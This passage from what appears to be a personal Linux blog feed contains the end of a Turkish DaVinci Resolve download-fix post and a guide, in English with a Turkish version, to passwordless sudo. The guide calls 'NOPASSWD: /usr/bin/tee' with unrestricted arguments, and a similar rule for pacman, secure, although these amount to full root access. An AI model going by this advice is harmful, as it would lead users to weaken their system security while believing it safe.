&lt;li&gt;AI Voice Training mod&amp;uuml;l&amp;uuml; indirilmeye &amp;ccedil;al&amp;inodot;&amp;scedil;&amp;inodot;ld&amp;inodot;&amp;gbreve;&amp;inodot;nda &amp;scedil;&amp;ouml;yle bir hata al&amp;inodot;n&amp;inodot;yordu: &lt;code&gt;'download failed'&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Neden: TLS/SSL ba&amp;gbreve;lant&amp;inodot; sorunlar&amp;inodot; ve baz&amp;inodot; paketlerin eksik veya yanl&amp;inodot;&amp;scedil; konumda olmas&amp;inodot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Bu mod&amp;uuml;ller &amp;ouml;zellikle &amp;Idot;ngilizce d&amp;inodot;&amp;scedil;&amp;inodot;ndaki videolara altyaz&amp;inodot; eklemek ve kendi sesinizi e&amp;gbreve;itmek ya da klonlamak i&amp;ccedil;in gerekli.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="cozum-admlar"&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m Ad&amp;inodot;mlar&amp;inodot;&lt;a class="headerlink" href="#cozum-admlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;TLS/SSL ba&amp;gbreve;lant&amp;inodot; sorununu &amp;ccedil;&amp;ouml;z&amp;uuml;n:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/etc/pki/tls/certs
sudo&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;/etc/ssl/certs/ca-certificates.crt&lt;span class="w"&gt; &lt;/span&gt;/etc/pki/tls/certs/ca-bundle.crt
sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-Syu&lt;span class="w"&gt; &lt;/span&gt;ca-certificates
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Ortam de&amp;gbreve;i&amp;scedil;kenleri ile Resolve&amp;rsquo;u &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;n:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;CURL_CA_BUNDLE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/ssl/certs/ca-certificates.crt&lt;span class="w"&gt; &lt;/span&gt;/opt/resolve/bin/resolve
&lt;span class="c1"&gt;# veya&lt;/span&gt;
&lt;span class="nv"&gt;SSL_CERT_FILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/etc/ssl/certs/ca-certificates.crt&lt;span class="w"&gt; &lt;/span&gt;/opt/resolve/bin/resolve
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;K&amp;uuml;t&amp;uuml;phane &amp;ccedil;ak&amp;inodot;&amp;scedil;malar&amp;inodot;n&amp;inodot; kontrol edin:&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/opt/resolve/libs
sudo&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;disabled-libraries
sudo&lt;span class="w"&gt; &lt;/span&gt;mv&lt;span class="w"&gt; &lt;/span&gt;libglib*&lt;span class="w"&gt; &lt;/span&gt;libgio*&lt;span class="w"&gt; &lt;/span&gt;libgmodule*&lt;span class="w"&gt; &lt;/span&gt;disabled-libraries/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Resolve&amp;rsquo;u yeniden ba&amp;scedil;lat&amp;inodot;n ve Download Manager&amp;rsquo;den AI Voice Training veya di&amp;gbreve;er extras i&amp;ccedil;erikleri indirin.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr/&gt;
&lt;h2 id="tlsssl-baglant-sorunu_1"&gt;TLS/SSL Ba&amp;gbreve;lant&amp;inodot; Sorunu 🔒&lt;a class="headerlink" href="#tlsssl-baglant-sorunu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;DaVinci Resolve internet &amp;uuml;zerinden paket y&amp;uuml;klerken TLS handshake hatas&amp;inodot; veriyordu (&lt;code&gt;ERROR code 77&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Neden: CA sertifika dosyas&amp;inodot; uygulama taraf&amp;inodot;ndan beklenen yolda bulunam&amp;inodot;yordu.&lt;/li&gt;
&lt;li&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m: Yukar&amp;inodot;daki TLS/SSL ad&amp;inodot;mlar&amp;inodot; zaten bu hatay&amp;inodot; da &amp;ccedil;&amp;ouml;z&amp;uuml;yor.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="libpango-ile-symbol-lookup-error"&gt;&lt;code&gt;libpango&lt;/code&gt; ile &lt;code&gt;symbol lookup error&lt;/code&gt; ⚠️&lt;a class="headerlink" href="#libpango-ile-symbol-lookup-error" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Hata:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;./resolve: symbol lookup error: /usr/lib/libpango-1.0.so.0: undefined symbol: g_once_init_leave_pointer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Neden: DaVinci Resolve paketindeki baz&amp;inodot; k&amp;uuml;t&amp;uuml;phaneler (&lt;code&gt;libglib*&lt;/code&gt;, &lt;code&gt;libgio*&lt;/code&gt;, &lt;code&gt;libgmodule*&lt;/code&gt;) sistem k&amp;uuml;t&amp;uuml;phaneleriyle &amp;ccedil;ak&amp;inodot;&amp;scedil;&amp;inodot;yor olabilir.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m: Yukar&amp;inodot;daki &amp;ldquo;K&amp;uuml;t&amp;uuml;phane &amp;ccedil;ak&amp;inodot;&amp;scedil;malar&amp;inodot;n&amp;inodot; kontrol et&amp;rdquo; ad&amp;inodot;mlar&amp;inodot;yla bu hata giderilebilir.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="sonuc"&gt;Sonu&amp;ccedil; ✅&lt;a class="headerlink" href="#sonuc" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;TLS/SSL sorunlar&amp;inodot; ve k&amp;uuml;t&amp;uuml;phane &amp;ccedil;ak&amp;inodot;&amp;scedil;malar&amp;inodot; &amp;ccedil;&amp;ouml;z&amp;uuml;ld&amp;uuml;.&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Extras in the Download Manager&amp;rdquo; men&amp;uuml;s&amp;uuml;nden AI Voice Training ve di&amp;gbreve;er ekstralar sorunsuz indirilebildi.&lt;/li&gt;
&lt;li&gt;Art&amp;inodot;k &amp;Idot;ngilizce d&amp;inodot;&amp;scedil;&amp;inodot; videolar i&amp;ccedil;in altyaz&amp;inodot; eklemek ve kendi sesinizi e&amp;gbreve;itmek m&amp;uuml;mk&amp;uuml;n.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="notlarm"&gt;Notlar&amp;inodot;m 📝&lt;a class="headerlink" href="#notlarm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;AI Voice Training veya di&amp;gbreve;er extras indirme sorunlar&amp;inodot; &amp;ccedil;o&amp;gbreve;unlukla TLS ve sertifika eksikli&amp;gbreve;i kaynakl&amp;inodot;d&amp;inodot;r.&lt;/li&gt;
&lt;li&gt;Ortam de&amp;gbreve;i&amp;scedil;kenleri ve k&amp;uuml;t&amp;uuml;phane y&amp;ouml;netimi h&amp;inodot;zl&amp;inodot; ve g&amp;uuml;venli &amp;ccedil;&amp;ouml;z&amp;uuml;mler sunar.&lt;/li&gt;
&lt;li&gt;Resolve kendi k&amp;uuml;t&amp;uuml;phanelerini i&amp;ccedil;erdi&amp;gbreve;inden bazen sistem k&amp;uuml;t&amp;uuml;phaneleriyle &amp;ccedil;ak&amp;inodot;&amp;scedil;malar ya&amp;scedil;anabilir.&lt;/li&gt;
&lt;li&gt;&amp;Ccedil;ak&amp;inodot;&amp;scedil;an k&amp;uuml;t&amp;uuml;phaneleri ge&amp;ccedil;ici olarak devre d&amp;inodot;&amp;scedil;&amp;inodot; b&amp;inodot;rakmak indirme ve &amp;ccedil;al&amp;inodot;&amp;scedil;ma sorunlar&amp;inodot;n&amp;inodot; &amp;ccedil;&amp;ouml;zer.&lt;/li&gt;
&lt;li&gt;Bu ad&amp;inodot;mlar Arch Linux ve benzeri da&amp;gbreve;&amp;inodot;t&amp;inodot;mlarda test edilmi&amp;scedil;tir; di&amp;gbreve;er da&amp;gbreve;&amp;inodot;t&amp;inodot;mlarda da benzer &amp;ccedil;&amp;ouml;z&amp;uuml;mler uygulanabilir.&lt;/li&gt;
&lt;li&gt;E&amp;gbreve;er Davinci Resolve A&amp;ccedil;&amp;inodot;lm&amp;inodot;yorsa bu yaz&amp;inodot;m&amp;inodot;z&amp;inodot;da okuyabilirsiniz.&lt;a href="/davinci-resolve-20-1-linux-hatasi-cozumu/"&gt;Linux&amp;rsquo;ta DaVinci Resolve 20.1 A&amp;ccedil;&amp;inodot;lm&amp;inodot;yor Hatas&amp;inodot; ve &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="DaVinci Resolve Extras &amp;Idot;ndirme Sorunu &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/davinci-resolve-extras-ai-voice-xl.webp" srcset="/images/davinci-resolve-extras-ai-voice-sm.webp 300w, /images/davinci-resolve-extras-ai-voice-md.webp 500w, /images/davinci-resolve-extras-ai-voice-lg.webp 800w, /images/davinci-resolve-extras-ai-voice-xl.webp 1200w"/&gt;&lt;/p&gt;</content><category term="Linux"/><category term="DaVinci Resolve"/><category term="AI Voice Training"/><category term="Extras"/><category term="Arch Linux"/><category term="Hata Çözümü"/></entry><entry><title>Running Commands Without a Password Using Sudoers in Linux</title><link href="https://yuceltoluyag.github.io/en/linux-sudoers-sifresiz-komut-cozumu/" rel="alternate"/><published>2025-11-09T16:30:00+03:00</published><updated>2025-11-09T16:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-09:/en/linux-sudoers-sifresiz-komut-cozumu/</id><summary type="html">&lt;p&gt;If you're getting a 'sudo: a password is required' error due to sudoers configuration, this guide explains the cause and provides secure, step-by-step solutions.&lt;/p&gt;</summary><content type="html">&lt;h2 id="introduction"&gt;Introduction&lt;a class="headerlink" href="#introduction" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Sometimes you write a script and have to enter a password every time&amp;mdash;annoying, right? 😅
In this article, I'll address the &lt;strong&gt;sudoers passwordless command execution&lt;/strong&gt; issue in a simple, friendly tone; I'll go step-by-step to show the source of the error and its secure solutions.&lt;/p&gt;
&lt;h2 id="source-of-the-problem"&gt;Source of the Problem&lt;a class="headerlink" href="#source-of-the-problem" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In modern desktop environments like Wayland, &lt;code&gt;xset&lt;/code&gt; may not work; instead, you need to write to the &lt;code&gt;/sys/class/leds/inputX::scrolllock/brightness&lt;/code&gt; file to change keyboard lights.
Writing to this file requires root privileges&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. If you used &lt;code&gt;sudo tee&lt;/code&gt; in your script, the system might constantly ask for a password. The typical reminder for this is:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo:&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;password&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;required
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Often, the reason is an incorrect or missing permission definition in the &lt;code&gt;sudoers&lt;/code&gt; file.&lt;/p&gt;
&lt;h2 id="why-is-a-correct-permission-definition-important"&gt;Why is a Correct Permission Definition Important?&lt;a class="headerlink" href="#why-is-a-correct-permission-definition-important" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;If you don't specify the &lt;strong&gt;full path&lt;/strong&gt; of the program in the &lt;code&gt;sudoers&lt;/code&gt; line, the system can't match the permissions.&lt;/li&gt;
&lt;li&gt;If the arguments given to the command do not match the permission definition, the operation will still ask for a password.&lt;/li&gt;
&lt;li&gt;There might be a syntax error in &lt;code&gt;/etc/sudoers&lt;/code&gt; or &lt;code&gt;/etc/sudoers.d/&lt;/code&gt;&amp;mdash;which can lead to unexpected behavior.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Caution! Editing the &lt;code&gt;sudoers&lt;/code&gt; file incorrectly can affect the system; always make changes with &lt;code&gt;visudo&lt;/code&gt; ⚠️&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="solution-step-by-step"&gt;Solution: Step-by-Step&lt;a class="headerlink" href="#solution-step-by-step" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-use-the-full-path-of-the-program"&gt;1. Use the Full Path of the Program&lt;a class="headerlink" href="#1-use-the-full-path-of-the-program" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Writing the full path of the command in the &lt;code&gt;sudoers&lt;/code&gt; file is the most basic rule. For example, for &lt;code&gt;tee&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;friday13 ALL=(ALL) NOPASSWD: /usr/bin/tee
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This line grants permission to run the &lt;code&gt;/usr/bin/tee&lt;/code&gt; command with all arguments without a password. ✅&lt;/p&gt;
&lt;h3 id="2-use-an-alias-for-multiple-commands"&gt;2. Use an Alias for Multiple Commands&lt;a class="headerlink" href="#2-use-an-alias-for-multiple-commands" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;If you want to grant permission for multiple tools, creating a group is more organized:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman
friday13 ALL=(ALL) NOPASSWD: MYTOOLS
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;Tip ⚡ By using Cmnd_Alias, you group permissions; this makes management easier.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="3-keep-changes-under-etcsudoersd"&gt;3. Keep Changes Under &lt;code&gt;/etc/sudoers.d/&lt;/code&gt;&lt;a class="headerlink" href="#3-keep-changes-under-etcsudoersd" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Instead of directly editing the main &lt;code&gt;sudoers&lt;/code&gt; file, create a separate file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;visudo&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/etc/sudoers.d/10_mytools
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Example file content:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Cmnd_Alias MYTOOLS = /usr/bin/tee, /usr/bin/pacman, /usr/bin/aurman
friday13 ALL=(ALL) NOPASSWD: MYTOOLS
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;This method both maintains order and simplifies management.&lt;/p&gt;
&lt;h3 id="4-testing-methods"&gt;4. Testing Methods&lt;a class="headerlink" href="#4-testing-methods" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;To verify the changes, apply these steps:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# Clear the sudo cache&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/tee&lt;span class="w"&gt; &lt;/span&gt;/sys/class/leds/input4::scrolllock/brightness&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-l&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;# List the user's sudo permissions&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The &lt;code&gt;sudo -n&lt;/code&gt; command attempts to run without asking for a password; if it doesn't give an error, your setting is working correctly. ✅&lt;/p&gt;
&lt;h2 id="common-pitfalls-and-things-to-watch-out-for_1"&gt;Common Pitfalls and Things to Watch Out For&lt;a class="headerlink" href="#common-pitfalls-and-things-to-watch-out-for" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Caution! Granting broad &lt;code&gt;NOPASSWD&lt;/code&gt; permission can lead to serious security vulnerabilities ⚠️&lt;/p&gt;
&lt;/div&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;Note: Regularly check which commands are permitted with &lt;code&gt;sudo -l&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="summary"&gt;Summary&lt;a class="headerlink" href="#summary" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;It is mandatory to specify the &lt;strong&gt;full path&lt;/strong&gt; in &lt;code&gt;sudoers&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Group permissions using &lt;code&gt;Cmnd_Alias&lt;/code&gt; for easier management.&lt;/li&gt;
&lt;li&gt;Keep changes in &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; and edit with &lt;code&gt;visudo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Verify by testing with &lt;code&gt;sudo -n&lt;/code&gt; and &lt;code&gt;sudo -l&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="useful-commands"&gt;Useful Commands&lt;a class="headerlink" href="#useful-commands" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;visudo&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;/etc/sudoers.d/10_mytools
sudo&lt;span class="w"&gt; &lt;/span&gt;-k
sudo&lt;span class="w"&gt; &lt;/span&gt;-n&lt;span class="w"&gt; &lt;/span&gt;/usr/bin/tee&lt;span class="w"&gt; &lt;/span&gt;/sys/class/leds/input4::scrolllock/brightness&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
sudo&lt;span class="w"&gt; &lt;/span&gt;-l
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="resources"&gt;Resources&lt;a class="headerlink" href="#resources" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;ArchWiki: &lt;a href="https://wiki.archlinux.org/title/Sudo" rel="noopener noreferrer" target="_blank"&gt;Sudo - Root access&lt;/a&gt;
&lt;code&gt;man sudoers&lt;/code&gt;&lt;/p&gt;
&lt;h2 id="conclusion"&gt;Conclusion&lt;a class="headerlink" href="#conclusion" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;With these steps, you can solve the &lt;code&gt;sudoers passwordless command execution&lt;/code&gt; problem securely and permanently.
When you try it, write the result or which commands you allowed in the comments&amp;mdash;let's build more secure settings together! 🎉&lt;/p&gt;
&lt;p&gt;&lt;img alt="Linux Sudoers passwordless operation" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/linux-sudoers-sifresiz-komut-xl.webp" srcset="/images/linux-sudoers-sifresiz-komut-sm.webp 300w, /images/linux-sudoers-sifresiz-komut-md.webp 500w, /images/linux-sudoers-sifresiz-komut-lg.webp 800w, /images/linux-sudoers-sifresiz-komut-xl.webp 1200w"/&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Refers to the permission to access critical files and settings on the system.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Linux"/><category term="sudoers"/><category term="linux security"/><category term="sudo"/><category term="automation"/></entry><entry><title>Linux’ta Sudoers ile Şifresiz Komut Çalıştırma</title><link href="https://yuceltoluyag.github.io/linux-sudoers-sifresiz-komut-cozumu/" rel="alternate"/><published>2025-11-09T16:30:00+03:00</published><updated>2025-11-09T16:45:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2025-11-09:/linux-sudoers-sifresiz-komut-cozumu/</id><summary type="html">&lt;p&gt;Sudoers yapılandırması yüzünden 'sudo: a password is required' hatası alıyorsan, bu rehber hatanın nedenini açıklar ve güvenli, adım adım çözümler sunar.&lt;/p&gt;</summary><content type="html">&lt;h2 id="giris"&gt;Giri&amp;scedil;&lt;a class="headerlink" href="#giris" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Bazen bir script yazars&amp;inodot;n ve her seferinde parola girmek zorunda kal&amp;inodot;rs&amp;inodot;n &amp;mdash; sinir bozucu, de&amp;gbreve;il mi? 😅&lt;br/&gt;
Bu yaz&amp;inodot;da &lt;strong&gt;sudoers &amp;scedil;ifresiz komut &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma&lt;/strong&gt; sorununu sade, dostane bir dille ele al&amp;inodot;yorum; ad&amp;inodot;m ad&amp;inodot;m ilerleyip hatan&amp;inodot;n kayna&amp;gbreve;&amp;inodot;n&amp;inodot; ve g&amp;uuml;venli &amp;ccedil;&amp;ouml;z&amp;uuml;mlerini g&amp;ouml;sterece&amp;gbreve;im.&lt;/p&gt;
&lt;h2 id="sorunun-kaynag"&gt;Sorunun Kayna&amp;gbreve;&amp;inodot;&lt;a class="headerlink" href="#sorunun-kaynag" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Wayland gibi modern masa&amp;uuml;st&amp;uuml; ortamlar&amp;inodot;nda &lt;code&gt;xset&lt;/code&gt; i&amp;scedil;e yaramayabilir; bunun yerine klavye &amp;inodot;&amp;scedil;&amp;inodot;klar&amp;inodot;n&amp;inodot; de&amp;gbreve;i&amp;scedil;tirmek i&amp;ccedil;in &lt;code&gt;/sys/class/leds/inputX::scrolllock/brightness&lt;/code&gt; dosyas&amp;inodot;na yazman gerekir.&lt;br/&gt;
Bu dosyaya yazmak root yetkisi&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; ister. script'inde &lt;code&gt;sudo tee&lt;/code&gt; kulland&amp;inodot;ysan sistem s&amp;uuml;rekli &amp;scedil;ifre isteyebilir. Bunun tipik hat&amp;inodot;rlatmas&amp;inodot;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo:&lt;span class="w"&gt; &lt;/span&gt;a&lt;span class="w"&gt; &lt;/span&gt;password&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;required
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&amp;Ccedil;o&amp;gbreve;u zaman neden, &lt;code&gt;sudoers&lt;/code&gt; dosyas&amp;inodot;nda yanl&amp;inodot;&amp;scedil; veya eksik izin tan&amp;inodot;m&amp;inodot;d&amp;inodot;r.&lt;/p&gt;
&lt;h2 id="neden-dogru-izin-tanm-onemli"&gt;Neden Do&amp;gbreve;ru &amp;Idot;zin Tan&amp;inodot;m&amp;inodot; &amp;Ouml;nemli?&lt;a class="headerlink" href="#neden-dogru-izin-tanm-onemli" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sudoers&lt;/code&gt; sat&amp;inodot;r&amp;inodot;nda program&amp;inodot;n &lt;strong&gt;tam yolunu&lt;/strong&gt; belirtmezsen sistem izinleri e&amp;scedil;le&amp;scedil;tiremez.&lt;/li&gt;
&lt;li&gt;Komuta verilen arg&amp;uuml;manlar izin tan&amp;inodot;m&amp;inodot;na uymuyorsa i&amp;scedil;lem yine &amp;scedil;ifre ister.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/sudoers&lt;/code&gt; veya &lt;code&gt;/etc/sudoers.d/&lt;/code&gt; i&amp;ccedil;inde s&amp;ouml;zdizimi hatas&amp;inodot; olabilir &amp;mdash; bu da beklenmeyen davran&amp;inodot;&amp;scedil;lara yol a&amp;ccedil;ar.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat! &lt;code&gt;sudoers&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; hatal&amp;inodot; d&amp;uuml;zenlemek sistemi etkileyebilir; mutlaka &lt;code&gt;visudo&lt;/code&gt; ile de&amp;gbreve;i&amp;scedil;iklik yap ⚠️&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="cozum-adm-adm"&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m: Ad&amp;inodot;m Ad&amp;inodot;m&lt;a class="headerlink" href="#cozum-adm-adm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;h3 id="1-programn-tam-yolunu-kullan"&gt;1. Program&amp;inodot;n Tam Yolunu Kullan&lt;a class="headerlink" href="#1-programn-tam-yolunu-kullan" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sudoers&lt;/code&gt; dosyas&amp;inodot;na, komutun tam yolunu yazmak en temel kurald&amp;inodot;r. &amp;Ouml;rne&amp;gbreve;in &lt;code&gt;tee&lt;/code&gt; i&amp;ccedil;in:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;friday13 ALL=(ALL) NOPASSWD: /usr/bin/tee
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu sat&amp;inodot;r, &lt;code&gt;/usr/bin/tee&lt;/code&gt; komutunu t&amp;uuml;m arg&amp;uuml;manlarla &amp;scedil;ifresiz &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;rma izni verir. ✅&lt;/p&gt;
&lt;h3 id="2-birden-fazla-komut-icin-alias-kullan"&gt;2. Birden Fazla Komut i&amp;ccedil;in Alias Kullan&lt;a class="headerlink" href="#2-birden-fazla-komut-icin-alias-kullan" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Birden fazla araca izin vermek istiyorsan grup olu&amp;scedil;turmak daha d&amp;uuml;zenli olur:&lt;/p&gt;
